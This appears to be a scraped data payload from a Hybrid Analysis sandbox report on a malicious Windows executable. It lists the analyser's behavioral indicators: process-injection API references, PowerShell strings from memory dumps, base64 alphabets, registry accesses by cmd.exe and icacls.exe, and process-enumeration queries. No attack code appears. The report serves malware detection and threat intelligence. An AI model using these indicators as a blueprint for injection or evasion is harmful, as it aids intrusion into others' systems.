26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] a6:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4dc,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample 074cec0065bd… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 074cec0065bd…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 14/27 AV engines flagged this file. 15 malicious and 21 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e"],"about":{"@type":"SoftwareApplication","name":"bounty-38645900617228892","applicationCategory":["peexe","assembly","executable"],"identifier":"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":14,"total":27},"behavioralIndicators":{"malicious":15,"suspicious":21},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T123a,Found string ":\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005808.00000000.92787.03100000.00000004.mdmp, 00000000-00005808.00000000.92787.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.03100000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found string ".Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005808.00000000.92787.03100000.00000004.mdmp") Found string "2,"System.Management.Automation Version=3.0.0.0 Culture=neutral PublicKeyToken=31bf3856ad364e35",0" (Source: "00000000-00005808.00000000.92787.03100000.00000004.mdmp, 00000000-00005808.00000001.93079.03100000.00000004.mdmp") Found string "System.Management.Automation.dll" (Source: "00000000-00005808.00000000.92787.03100000.00000004.mdmp, 00000000-00005808.00000000.92787.052C0000.00000004.mdmp, 00000000-00005808.00000001.93079.03100000.00000004.mdmp") Found string "System.Management.Automation@q" (Source: "00000000-00005808.00000000.92787.03100000.00000004.mdmp, 00000000-00005808.00000001.93079.03100000.00000004.mdmp") Found string "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "System.Management.Automation" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "System.Management.Automation.resources" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Management.Automation/v4.0_3.0.0.0__31bf3856ad364e35/System.Management.Automation.dll" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "System.Management.Automation.resources, Version=3.0.0.0, Culture=en-US, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput($inputScript, $cursorColumn," (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "[System.Management.Automation.Language.Ast] $ast," (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "[System.Management.Automation.Language.Token[]] $tokens," (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "[System.Management.Automation.Language.IScriptPosition] $positionOfCursor," (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "return [System.Management.Automation.CommandCompletion]::CompleteInput(" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "# .ExternalHelp System.Management.Automation.dll-help.xml" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "[System.Management.Automation.PSCredential]" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Item', [System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "$wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('Out-String',[System.Management.Automation.CommandTypes]::Cmdlet)" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=MSIL" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\System.Management.Automation.dll" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "System.Management.Automation.dll-Help.xml" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" (Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "$errorCategory = [System.Management.Automation.ErrorCategory]::InvalidArgument" (Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found string "$errorRecord = [System.Management.Automation.ErrorRecord]::New($exception, $errorId, $errorCategory, $null)" (Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp")28:Teda,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "LsaFreeMemory" (Indicator: "FreeMemory"; File: "00000000-00006632.00000000.93463.01101000.00000020.mdmp") Found reference to API "SamFreeMemory" (Indicator: "FreeMemory"; File: "00000000-00006632.00000000.93463.01101000.00000020.mdmp") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; File: "00000000-00007624.00000000.93979.01091000.00000020.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp")29:T908,Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "Wow64GetThreadContext" (Indicator: "GetThreadContext"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "Wow64SetThreadContext" (Indicator: "SetThreadContext"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp")2a:T118b,Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "WaitForMultipleObjects error %d, GetLastError %d" (Indicator: "WaitForMultipleObjects"; File: "00000000-00007624.00000000.93979.01091000.00000020.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "RegisterWaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "RegisterWaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "TpSetTimer" (Indicator: "SetTimer"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "TpSetTimerEx" (Indicator: "SetTimer"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp")2b:Tbe1,Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; File: "00000000-00002188.00000000.94219.00901000.00000020.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found reference to API "LoadLibraryShim" (Indicator: "LoadLibrary"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002952.00000000.94297.40017000.00000002.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp, 00000000-00004268.00000000.93518.711F5000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp, 00000000-00004268.00000000.93518.711F5000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00005808.00000000.92787.00A71000.00000002.mdmp")2c:T507,Found string "Format-Custom" (Indicator: "Format-Custom"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Format-List" (Indicator: "Format-List"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Format-Table" (Indicator: "Format-Table"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Format-Wide" (Indicator: "Format-Wide"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Convert-Path" (Indicator: "Convert-Path"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Export-Alias" (Indicator: "Export-Alias"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Export-Csv" (Indicator: "Export-Csv"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Export-ModuleMember" (Indicator: "Export-ModuleMember"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "Export-Console" (Indicator: "Export-Console"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "file, use Export-Console in Windows PowerShell." (Indicator: "Export-Console"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp")2d:Td1f,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "winloghelper.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "winloghelper.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "random_1_.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "random_1_.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "320c753cfb.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "320c753cfb.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "eNLe4nm_1_.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "eNLe4nm_1_.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "random_2_.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "random_2_.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp, 00000000-00001648.00000000.93993.02FC0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00001648.00000000.93993.0094F000.00000002.mdmp, 00000000-00001648.00000000.93993.02FC0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00002188.00000000.94219.0094F000.00000002.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004268.00000000.93518.03F20000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00005808.00000000.92787.052C0000.00000004.mdmp")2e:T545,file/memory contains long string with (Indicator: "Aes"; File: "5GFpJxh_1_.exe") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00005808.00000000.92787.03100000.00000004.mdmp, 00000000-00005808.00000000.92787.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.03100000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found reference to "[ValidateSet("SHA1", "SHA256", "SHA384", "SHA512", "MACTripleDES", "MD5", "RIPEMD160")]" (Indicator: "SHA384"; Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found reference to "[ValidateSet("SHA1", "SHA256", "SHA384", "SHA512", "MACTripleDES", "MD5", "RIPEMD160")]" (Indicator: "SHA512"; Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found reference to "[ValidateSet("SHA1", "SHA256", "SHA384", "SHA512", "MACTripleDES", "MD5", "RIPEMD160")]" (Indicator: "TripleDES"; Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp") Found reference to "if ($Algorithm -eq "MACTripleDES")" (Indicator: "TripleDES"; Source: "00000000-00005808.00000000.92787.07870000.00000004.mdmp, 00000000-00005808.00000001.93079.07870000.00000004.mdmp")2f:T550,"cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION") "cmd.exe" (Access type: "QUERY"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\LAYERS") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE") "icacls.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS") "icacls.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\SVCHOST.EXE") "icacls.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\SVCHOST.EXE")30:Tbc0,"074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-401680674 [PID: 7344] "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-401690498 [PID: 7344] "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-401941383 [PID: 7344] "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-401950554 [PID: 7344] "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-403625669 [PID: 7344] "074cec0065bd7fa9ad545a44a73ab75074b9a5a59f7ee357cb50a918fe41be2e.exe" queried SystemProcessInformation at 00000000-00007344-00000C15-403635515 [PID: 7344] 